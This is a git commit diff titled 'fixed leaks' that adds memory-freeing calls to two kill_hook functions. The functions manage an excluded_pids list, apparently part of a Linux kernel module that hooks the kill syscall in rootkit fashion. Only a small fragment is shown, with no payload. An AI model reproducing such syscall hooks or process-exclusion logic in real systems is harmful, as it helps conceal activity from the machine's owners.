fixed leaks

This commit is contained in:
Jolan Rathelot 2022-12-28 17:34:07 +01:00
parent 32825115fd
commit cc7183206b
No known key found for this signature in database
GPG Key ID: 4C4AEF2EB44D8D00

View File

@ -50,6 +50,7 @@ static asmlinkage int kill_hook(const struct pt_regs * regs) {
list_del(&target->list);
kfree(target->data);
kfree(target);
kfree(strpid);
} else {
append_node(&excluded_pids, strpid);
}
@ -89,6 +90,7 @@ static asmlinkage int kill_hook(pid_t pid, int sig) {
list_del(&target->list);
kfree(target->data);
kfree(target);
kfree(strpid);
} else {
append_node(&excluded_pids, strpid);
}